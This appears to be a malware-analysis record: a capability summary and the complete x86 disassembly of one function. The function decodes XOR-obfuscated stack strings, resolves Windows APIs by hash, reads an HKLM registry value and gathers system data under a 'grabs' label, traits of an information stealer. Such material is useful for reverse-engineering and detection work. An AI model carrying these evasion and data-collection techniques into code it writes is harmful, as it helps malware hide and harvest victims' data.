Function at 0x421053
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5ec
push ebx
push ebp
push esi
push edi
push 0x4e
pop eax
xor ebx, ebx
mov dword [esp + 0x60], 0x218726b
mov dword [esp + 0x64], 0x5f524b59
mov ecx, ebx
mov dword [esp + 0x68], 0x4b64282f
mov byte [esp + 0x6c], al
mov dword [esp + 0x6d], 0x4d6e0247
mov dword [esp + 0x71], 0x4b564341
mov dword [esp + 0x75], 0x2184c4d
mov al, byte [esp + ecx + 0x60]
xor al, 0x22
mov byte [esp + ecx + 0x1ac], al
inc ecx
cmp ecx, 0x19
jl 0x421098
mov byte [esp + 0x1c5], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xfbdd8285
mov dword [esp + 0x14], 0xe9c6faed
mov dword [esp + 0x18], 0xa8b2ede5
mov al, byte [esp + ecx + 0x10]
xor al, 0x88
mov byte [esp + ecx + 0x144], al
inc ecx
cmp ecx, 0xc
jl 0x4210cc
mov dword [esp + 0x28], 0x372a383a
xorps xmm0, xmm0
mov dword [esp + 0x2c], 0x2a322633
xor eax, eax
movq xmm1, qword [esp + 0x28]
mov edx, 0xff
punpcklbw xmm1, xmm0
mov ecx, ebx
paddw xmm1, xmmword [0x428f60]
pand xmm1, xmmword [0x428f80]
mov dword [esp + 0x3c], 0x3408cfd2
mov dword [esp + 0x40], 0x393a3532
mov dword [esp + 0x44], 0x2613372a
mov dword [esp + 0x48], 0xe5ff2a32
movups xmm0, xmmword [esp + 0x3c]
push 0x4e
movups xmmword [esp + 0x16c], xmm1
mov byte [esp + 0x154], bl
movaps xmm1, xmmword [0x428fc0]
paddb xmm1, xmm0
mov word [esp + 0x17c], ax
movups xmmword [esp + 0x158], xmm1
mov byte [esp + 0x168], bl
mov dword [esp + 0x14], 0x221f2115
mov dword [esp + 0x18], 0x24172627
mov dword [esp + 0x1c], 0x171f1320
pop esi
movzx eax, byte [esp + ecx + 0x10]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0x1c8], ax
inc ecx
cmp ecx, 0xc
jl 0x421186
xor eax, eax
mov dword [esp + 0xc8], 0xebc78e89
mov word [esp + 0x1e0], ax
mov ecx, ebx
mov dword [esp + 0xcc], 0xf6f0eaf1
mov dword [esp + 0xd0], 0xffa4befd
mov dword [esp + 0xd4], 0xeaf1ebe7
mov dword [esp + 0xd8], 0xf9fdf6f0
mov dword [esp + 0xdc], 0xebc88e89
mov dword [esp + 0xe0], 0xedf0e5e7
mov dword [esp + 0xe4], 0xa4beeaeb
mov dword [esp + 0xe8], 0xe7ebe8ff
mov dword [esp + 0xec], 0xebedf0e5
mov dword [esp + 0xf0], 0x8e89f9ea
mov dword [esp + 0xf4], 0xa4f4edde
mov dword [esp + 0xf8], 0xe1e0ebe7
mov dword [esp + 0xfc], 0xfeffa4be
mov dword [esp + 0x100], 0xebe7f4ed
mov dword [esp + 0x104], 0x89f9e1e0
mov dword [esp + 0x108], 0xe9edd08e
mov dword [esp + 0x10c], 0xeaebdee1
mov dword [esp + 0x110], 0xffa4bee1
mov dword [esp + 0x114], 0xe1e9edf0
mov dword [esp + 0x118], 0xe1eaebfe
mov dword [esp + 0x11c], 0xcc8e89f9
mov dword [esp + 0x120], 0xbec0cdd3
mov byte [esp + 0x124], 0xa4
mov al, byte [esp + ecx + 0xc8]
xor al, 0x84
mov byte [esp + ecx + 0x250], al
inc ecx
cmp ecx, 0x5d
jl 0x4212b0
mov byte [esp + 0x2ad], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0xba884f52
mov dword [esp + 0x40], 0xb3aab7b7
mov dword [esp + 0x44], 0xa6b165b9
mov dword [esp + 0x48], 0xa6baacb3
mov dword [esp + 0x4c], 0x657faaac
mov al, byte [esp + ecx + 0x3c]
sub al, 0x45
mov byte [esp + ecx + 0x17c], al
inc ecx
cmp ecx, 0x14
jl 0x4212f7
push 0x7c
pop eax
mov byte [esp + 0x190], bl
mov ecx, ebx
mov byte [esp + 0x50], al
mov dword [esp + 0x51], 0xe1d2c279
mov dword [esp + 0x55], 0xc2ddd4d4
mov dword [esp + 0x59], 0xa9d4e9d8
mov byte [esp + 0x5d], 0x8f
mov al, byte [esp + ecx + 0x50]
sub al, 0x6f
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0xe
jl 0x421337
mov byte [esp + 0x4a], bl
mov ecx, ebx
mov dword [esp + 0x12c], 0x79243579
mov byte [esp + 0x130], 0x35
mov al, byte [esp + ecx + 0x12c]
xor al, 0x5c
movzx eax, al
mov word [esp + ecx*2 + 0x50], ax
inc ecx
cmp ecx, 5
jl 0x421360
xor eax, eax
mov dword [esp + 0x10], 0xe9c88386
mov word [esp + 0x5a], ax
mov ecx, ebx
mov dword [esp + 0x14], 0xeddaebde
mov dword [esp + 0x18], 0x99e7e8e2
mov dword [esp + 0x1c], 0xedecf2cc
mov dword [esp + 0x20], 0x99b3e6de
mov al, byte [esp + ecx + 0x10]
sub al, 0x79
mov byte [esp + ecx + 0x194], al
inc ecx
cmp ecx, 0x14
jl 0x4213a8
push 0x7c
mov byte [esp + 0x1ac], bl
mov ecx, ebx
mov dword [esp + 0xa0], 0xd8cad3d7
mov dword [esp + 0xa4], 0xc9d6c5db
mov dword [esp + 0xa8], 0xe7edd1e0
mov dword [esp + 0xac], 0xf3f7f3f6
mov dword [esp + 0xb0], 0xdbe0f8ea
mov dword [esp + 0xb4], 0xf3e8f2ed
mov dword [esp + 0xb8], 0xd2a4f7fb
mov dword [esp + 0xbc], 0xf9c7e0d8
mov dword [esp + 0xc0], 0xf2e9f6f6
mov dword [esp + 0xc4], 0xf6e9daf8
mov dword [esp + 0xc8], 0xf2f3edf7
pop esi
movzx eax, byte [esp + ecx + 0x9c]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0xc8], ax
inc ecx
cmp ecx, 0x2c
jl 0x421440
xor eax, eax
mov dword [esp + 0x28], 0x9e9588aa
mov word [esp + 0x120], ax
mov ecx, ebx
mov dword [esp + 0x2c], 0xb48e998f
mov word [esp + 0x30], 0x979b
mov byte [esp + 0x32], 0x9f
mov al, byte [esp + ecx + 0x28]
xor al, 0xfa
movzx eax, al
mov word [esp + ecx*2 + 0x60], ax
inc ecx
cmp ecx, 0xb
jl 0x421484
xor eax, eax
mov dword [esp + 0x7c], 0xeff2eff2
push 0x4e
mov word [esp + 0x7a], ax
mov ecx, ebx
pop eax
mov word [esp + 0x80], 0x5b26
mov byte [esp + 0x82], 0x46
mov byte [esp + 0x83], al
mov dword [esp + 0x84], 0x51474651
mov dword [esp + 0x88], 0x4a30054a
mov dword [esp + 0x8c], 0x4654475e
mov dword [esp + 0x90], 0x46314957
mov dword [esp + 0x94], 0x595a545e
mov word [esp + 0x98], 0x1f58
mov byte [esp + 0x9a], 5
mov al, byte [esp + ecx + 0x7c]
add al, 0x1b
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 0x1f
jl 0x42150e
mov byte [esp + 0xbb], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x8c8f8c8f
mov dword [esp + 0x14], 0xe6f4e3ca
mov dword [esp + 0x18], 0xe7f4e3f9
mov dword [esp + 0x1c], 0x8fa2bcf5
mov dword [esp + 0x20], 0xd7d2c58c
mov word [esp + 0x24], 0xa2bc
mov al, byte [esp + ecx + 0x10]
add al, 0x7e
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0x16
jl 0x421559
mov byte [esp + 0x92], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x87808aa0
mov dword [esp + 0x14], 0x9dba9e96
mov dword [esp + 0x18], 0x9e819c95
mov dword [esp + 0x1c], 0x9c9a8792
mov dword [esp + 0x20], 0x8b87dd9d
mov byte [esp + 0x24], 0x87
mov al, byte [esp + ecx + 0x10]
xor al, 0xf3
movzx eax, al
mov word [esp + ecx*2 + 0x1e4], ax
inc ecx
cmp ecx, 0x15
jl 0x42159f
xor eax, eax
mov word [esp + 0x20e], ax
mov al, byte [0x42bc09]
add al, 0x3b
push 0x2000
mov byte [0x42bc0a], al
call fcn.0040570b
mov dl, byte [0x42bc09]
lea edi, [esp + 0x14]
mov esi, eax
mov dword [esp + 0x2d], 0x5a52574b
xor eax, eax
mov dword [esp + 0x31], 0x4c5f531e
stosd dword es:[edi], eax
xor dl, 0x24
pop ecx
push 0x7c
and dl, 0xe5
mov word [esp + 0x35], 0x455
add byte [0x42bc08], 0xcf
mov ecx, ebx
stosd dword es:[edi], eax
mov byte [0x42bc09], dl
mov byte [esp + 0x37], 0x1e
stosd dword es:[edi], eax
pop eax
mov byte [esp + 0x28], al
mov al, byte [esp + ecx + 0x28]
xor al, 0x3e
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 0xc
jl 0x421620
mov byte [esp + 0x138], bl
mov ecx, ebx
mov word [esp + 0x34], 0x4245
mov al, byte [esp + ecx + 0x34]
sub al, 0x38
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x421643
sub dl, 0x7f
mov byte [esp + 0x3a], bl
mov byte [0x42bc0a], dl
lea ecx, [esp + 0x10]
or ebp, 0xffffffff
lea edx, [esp + 0x12c]
push ebp
call fcn.004234c5
mov al, byte [0x42bc09]
mov edx, str.grabs
add byte [0x42bc08], 0xcf
and al, 0xb4
pop ecx
mov byte [0x42bc0a], al
lea ecx, [esp + 0x10]
add al, 0x4c
push ebp
mov byte [0x42bc09], al
call fcn.004234c5
mov al, byte [0x42bc0a]
lea edx, [esp + 0x3c]
pop ecx
or al, 0x5e
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc09], al
call fcn.004234c5
movzx eax, byte [0x42bc09]
lea edx, [esp + 0x1b0]
imul eax, eax, 0x28
pop ecx
push ebp
lea ecx, [esp + 0x14]
add al, 2
mov byte [0x42bc09], al
call fcn.004234c5
mov al, byte [0x42bc0a]
mov edi, 0x1000
pop ecx
push edi
xor ecx, ecx
sub al, 0xd
push esi
push ebx
mov edx, 0xe718270b
mov byte [0x42bc09], al
inc ecx
call fcn.004155a6
call eax
test eax, eax
je 0x421724
mov al, byte [0x42bc09]
lea ecx, [esp + 0x10]
xor al, 0x69
mov edx, esi
sub al, 0x68
mov byte [0x42bc09], al
and al, 0xc6
mov byte [0x42bc0a], al
call fcn.00422c43
mov cl, byte [0x42bc09]
lea edx, [esp + 0x144]
mov al, cl
and cl, 0xd9
or cl, 0x89
and al, 0xb3
mov byte [0x42bc09], cl
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
and byte [0x42bc09], 0x89
lea eax, [esp + 0x16c]
pop ecx
push edi
xor edi, edi
mov edx, 0x1a52823b
push esi
inc edi
push eax
mov ecx, edi
call fcn.004155a6
call eax
test eax, eax
je 0x421795
mov al, byte [0x42bc0a]
lea ecx, [esp + 0x10]
add al, 0xf9
mov edx, esi
mov byte [0x42bc0a], al
and al, 0xc8
mov byte [0x42bc09], al
call fcn.00422c43
mov al, byte [0x42bc0a]
lea edx, [esp + 0x154]
add al, 0x54
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc09], al
call fcn.004234c5
add byte [0x42bc09], 0xd6
lea eax, [esp + 0x1cc]
mov dword [esp], 0x1000
mov edx, 0x1a52823b
push esi
push eax
mov ecx, edi
call fcn.004155a6
call eax
test eax, eax
je 0x421803
movzx eax, byte [0x42bc0a]
lea ecx, [esp + 0x10]
imul eax, eax, 0x85
mov edx, esi
or al, 0x57
mov byte [0x42bc0a], al
add al, 0xb
or al, 0xd3
mov byte [0x42bc09], al
call fcn.00422c43
mov al, byte [0x42bc09]
lea edx, [esp + 0x250]
sub al, 0x47
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
pop ecx
mov cl, byte [0x42bc09]
mov al, cl
xor cl, 0xa
add al, 0x45
mov byte [0x42bc09], cl
push ebp
push ecx
mov byte [0x42bc0a], al
call fcn.004206a8
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.004234c5
mov al, byte [0x42bc0a]
lea edx, [esp + 0x180]
or al, 0xc1
pop ecx
xor al, 0x8d
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
mov al, byte [0x42bc09]
mov edx, 0x5b5926c8
pop ecx
push ebx
and al, 0xb7
push 5
pop ecx
mov byte [0x42bc0a], al
call fcn.004155a6
call eax
mov cl, byte [0x42bc0a]
mov edx, 0x276dcf3
and cl, 0x7b
movzx eax, ax
push 0x1000
mov byte [0x42bc0a], cl
and cl, 0x18
push esi
mov byte [0x42bc09], cl
mov ecx, edi
push 2
push eax
call fcn.004155a6
call eax
test eax, eax
je 0x4218d1
mov edx, esi
mov byte [0x42bc09], 0xfe
lea ecx, [esp + 0x10]
call fcn.00422c43
mov al, byte [0x42bc09]
lea edx, [esp + 0x3c]
or al, 0x6b
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
mov al, byte [0x42bc0a]
pop ecx
push edi
add al, 0x57
mov edi, 0xa499d7b7
push 5
mov edx, edi
mov byte [0x42bc09], al
pop ecx
call fcn.004155a6
call eax
push eax
push ebx
push 5
mov edx, edi
pop ecx
call fcn.004155a6
call eax
push eax
lea eax, [esp + 0x58]
mov edx, 0xe3740fb6
push eax
push 0x1000
push esi
xor ecx, ecx
call fcn.004155a6
call eax
mov al, byte [0x42bc0a]
lea ecx, [esp + 0x24]
or al, 0x69
add esp, 0x14
mov byte [0x42bc09], al
mov edx, esi
movzx eax, byte [0x42bc0a]
imul eax, eax, 0x75
mov byte [0x42bc0a], al
call fcn.00422c43
mov al, byte [0x42bc09]
lea edx, [esp + 0x194]
add al, 0x78
lea ecx, [esp + 0x10]
movzx eax, al
imul eax, eax, 0x90
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
movzx eax, byte [0x42bc0a]
lea edx, [esp + 0xcc]
imul eax, eax, 0xda
mov ecx, 0x80000002
mov dword [esp], 0x2000
push esi
mov byte [0x42bc0a], al
lea eax, [esp + 0x68]
push eax
call fcn.00422ae9
add esp, 0xc
test al, al
je 0x421aeb
mov cl, byte [0x42bc0a]
mov edx, esi
mov al, cl
and cl, 0x37
add al, 0x5a
mov byte [0x42bc0a], cl
lea ecx, [esp + 0x10]
mov byte [0x42bc09], al
call fcn.00422c43
mov al, byte [0x42bc0a]
xor ecx, ecx
and al, 0xb3
mov dword [esp + 0x12c], ebx
xor al, 0x75
mov edx, 0xd226977
mov byte [0x42bc09], al
inc ecx
and al, 0xeb
or al, 0xc8
mov byte [0x42bc0a], al
call fcn.004155a6
mov dl, byte [0x42bc09]
mov edi, eax
mov cl, dl
xor cl, 0xda
and cl, 0xa5
mov byte [0x42bc0a], cl
test edi, edi
je 0x421a4d
and cl, 0x5c
lea eax, [esp + 0x12c]
mov byte [0x42bc09], cl
mov edx, 0x24526977
xor ecx, ecx
push eax
inc ecx
call fcn.004155a6
call eax
push eax
call edi
mov dl, byte [0x42bc09]
dec dl
mov cl, dl
or cl, 0x76
cmp dword [esp + 0x12c], ebx
je 0x421a6a
add cl, 8
add dl, 0x3b
mov al, 1
and cl, 0xab
jmp 0x421a6c
mov al, bl
and dl, 0x93
and cl, 0x85
test al, al
je 0x421aa6
mov dword [esp + 0x38], 0x4244862e
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
sub al, 0xe
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 4
jl 0x421a80
movzx eax, dl
imul eax, eax, 0x37
sub al, 0x16
mov byte [0x42bc0a], al
and al, 0xac
mov byte [0x42bc09], al
jmp 0x421ad8
mov dword [esp + 0x38], 0x4849025a
mov edx, ebx
mov al, byte [esp + edx + 0x38]
xor al, 0x7a
mov byte [esp + edx + 0x28], al
inc edx
cmp edx, 4
jl 0x421ab0
sub cl, 0x4c
or cl, 0x56
add cl, 0x4e
mov byte [0x42bc0a], cl
add cl, 0x5c
mov byte [0x42bc09], cl
push ebp
lea edx, [esp + 0x2c]
mov byte [esp + 0x30], bl
lea ecx, [esp + 0x14]
call fcn.004234c5
pop ecx
mov cl, byte [0x42bc09]
lea edx, [esp + 0x9c]
and cl, 0x27
mov al, cl
sub cl, 0x36
sub al, 0x42
mov byte [0x42bc0a], cl
push ebp
lea ecx, [esp + 0x14]
mov byte [0x42bc09], al
call fcn.004234c5
mov al, byte [0x42bc0a]
mov edx, 0xf2fdc9f0
pop ecx
push ebx
push ebx
add al, 0x7b
and al, 0xc5
push 5
pop ecx
mov byte [0x42bc0a], al
call fcn.004155a6
call eax
mov dl, byte [0x42bc0a]
mov edi, eax
xor dl, 0xa2
mov byte [0x42bc09], dl
test edi, edi
je 0x421c9f
movzx ecx, dl
imul ecx, ecx, 0x37
shl eax, 2
push eax
mov byte [0x42bc09], cl
and cl, 0x99
mov byte [0x42bc0a], cl
call fcn.0040570b
mov dl, byte [0x42bc09]
mov ebp, eax
add dl, 9
mov dword [esp + 0x130], ebp
pop ecx
movzx ecx, dl
imul ecx, ecx, 0x1f
mov byte [0x42bc09], dl
mov byte [0x42bc0a], cl
test ebp, ebp
je 0x421c9c
xor dl, 0x46
movzx eax, dl
mov edx, 0xf2fdc9f0
push ebp
imul eax, eax, 0x47
push edi
push 5
pop ecx
mov byte [0x42bc09], al
call fcn.004155a6
call eax
mov cl, byte [0x42bc09]
mov ebp, ebx
and cl, 0xd3
mov byte [0x42bc09], cl
test edi, edi
je 0x421c80
sub cl, 0x1d
mov edx, 0x276dcf3
mov al, cl
sub cl, 0x3c
and al, 0xba
or cl, 0x84
movzx eax, al
imul eax, eax, 0x7f
push 0x1000
mov byte [0x42bc09], cl
xor ecx, ecx
push esi
push 2
mov byte [0x42bc0a], al
inc ecx
mov eax, dword [esp + 0x138]
movzx eax, word [eax + ebp*4]
push eax
call fcn.004155a6
call eax
test eax, eax
je 0x421c71
mov word [esp + 0x34], 0x6265
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
xor al, 0x68
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x421c21
mov al, byte [0x42bc09]
lea edx, [esp + 0x38]
or al, 0x21
mov byte [esp + 0x3a], bl
sub al, 0x56
lea ecx, [esp + 0x10]
push 0xffffffffffffffff
mov byte [0x42bc0a], al
call fcn.004234c5
mov al, byte [0x42bc09]
mov edx, esi
add al, 0x46
pop ecx
mov byte [0x42bc0a], al
lea ecx, [esp + 0x10]
sub al, 0x6b
mov byte [0x42bc09], al
call fcn.00422c43
mov cl, byte [0x42bc09]
inc ebp
cmp ebp, edi
jb 0x421bd3
push dword [esp + 0x12c]
and cl, 0x24
mov byte [0x42bc0a], cl
call fcn.004056f0
mov dl, byte [0x42bc09]
pop ecx
or ebp, 0xffffffff
and dl, 0x4f
lea ecx, [esp + 0x10]
mov byte [0x42bc0a], dl
lea edx, [esp + 0x7c]
push ebp
call fcn.004234c5
movzx eax, byte [0x42bc0a]
imul eax, eax, 0x95
pop ecx
mov ecx, esi
xor al, 0x87
mov byte [0x42bc0a], al
or al, 0x7d
mov byte [0x42bc09], al
call fcn.00420e9f
mov al, byte [0x42bc0a]
lea ecx, [esp + 0x10]
or al, 0x5c
mov edx, esi
push ebp
mov byte [0x42bc09], al
call fcn.004234c5
mov dl, byte [0x42bc09]
xor dl, 0x95
mov dword [esp + 0x2b4], 0x348
sub dl, 0x2a
mov al, dl
or dl, 0xc7
pop ecx
inc al
mov byte [0x42bc09], dl
push 1
mov byte [0x42bc0a], al
mov edx, 0xb154ff53
lea eax, [esp + 0x2b4]
push eax
push ebx
push ebx
push 5
pop ecx
call fcn.004155a6
call eax
test eax, eax
je 0x421db2
mov dword [esp + 0x28], 0x9d94575a
mov ecx, ebx
mov word [esp + 0x2c], 0x87a2
mov byte [esp + 0x2e], 0x6d
mov al, byte [esp + ecx + 0x28]
sub al, 0x4d
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 7
jl 0x421d50
mov al, byte [0x42bc0a]
lea edx, [esp + 0x12c]
sub al, 3
mov byte [esp + 0x133], bl
mov byte [0x42bc09], al
lea ecx, [esp + 0x10]
sub al, 4
push ebp
mov byte [0x42bc0a], al
call fcn.004234c5
mov al, byte [0x42bc09]
lea edx, [esp + 0x2f8]
and al, 0xab
pop ecx
mov byte [0x42bc0a], al
lea ecx, [esp + 0x10]
xor al, 0xa3
mov byte [0x42bc09], al
call fcn.00422c43
movzx eax, byte [0x42bc0a]
xor ecx, ecx
imul eax, eax, 0x9b
mov edx, 0x7065a9c4
inc ecx
mov dword [esp + 0x210], 0x40
mov byte [0x42bc09], al
sub al, 0x6e
mov byte [0x42bc0a], al
lea eax, [esp + 0x210]
push eax
call fcn.004155a6
call eax
test eax, eax
je 0x421e8d
mov dword [esp + 0x28], 0xebf8a0a7
mov dword [esp + 0x2c], 0x8f8a90e7
mov word [esp + 0x30], 0xc6df
mov byte [esp + 0x32], 0xc6
mov al, byte [esp + ebx + 0x28]
xor al, 0xaa
movzx eax, al
mov word [esp + ebx*2 + 0x12c], ax
inc ebx
cmp ebx, 0xb
jl 0x421e11
push dword [esp + 0x21c]
xor eax, eax
mov edx, 0xe3740fb6
push dword [esp + 0x21c]
mov word [esp + 0x14a], ax
xor ecx, ecx
mov al, byte [0x42bc09]
and al, 0x40
or al, 0x10
add al, 0x4a
mov byte [0x42bc0a], al
lea eax, [esp + 0x134]
push eax
push 0x1000
push esi
call fcn.004155a6
call eax
mov al, byte [0x42bc09]
lea ecx, [esp + 0x24]
xor al, 0x49
add esp, 0x14
mov byte [0x42bc09], al
mov edx, esi
sub al, 0x60
mov byte [0x42bc0a], al
call fcn.00422c43
mov al, byte [0x42bc0a]
mov edx, dword [esp + 0x18]
xor al, 0x43
mov ecx, dword [esp + 0x10]
mov byte [0x42bc09], al
lea eax, [esp + 0x1e4]
push eax
call fcn.0041eb29
mov al, byte [0x42bc09]
xor al, 0xe8
pop ecx
mov byte [0x42bc0a], al
sub al, 0x2d
push esi
mov byte [0x42bc09], al
call fcn.004056f0
movzx eax, byte [0x42bc09]
imul eax, eax, 0x97
pop ecx
push dword [esp + 0x10]
mov byte [0x42bc0a], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5ec
ret